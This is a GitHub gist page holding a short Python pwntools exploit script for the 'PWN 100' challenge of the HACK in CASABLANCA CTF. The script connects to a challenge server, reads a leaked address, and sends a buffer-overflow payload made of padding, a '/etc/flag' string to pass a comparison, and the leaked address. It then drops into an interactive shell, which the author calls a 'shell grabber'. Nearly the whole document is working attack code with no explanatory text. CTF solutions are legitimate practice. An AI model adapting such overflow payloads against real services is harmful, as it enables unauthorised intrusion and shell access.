Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Last active March 31, 2018 19:13
Show Gist options
  • Save 0xPwny/bb00fb5762d97cb45f46f11dc57fa43a to your computer and use it in GitHub Desktop.
Save 0xPwny/bb00fb5762d97cb45f46f11dc57fa43a to your computer and use it in GitHub Desktop.
HACK in CASABLANCA CTF - PWN 100
#!/usr/bin/python
from pwn import *
#Dirty script but respect it its a shell grabber ;)
r = remote("172.21.2.200",3333)
r.recvuntil(":")
leak = int(r.recvline().split(",")[0])
payload = "A"*48
payload += "/etc/flag\x00" #Pass the strcmp / #\x00 to not break cmp
payload += "B"*114
payload += p32(leak)
r.sendline(payload)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment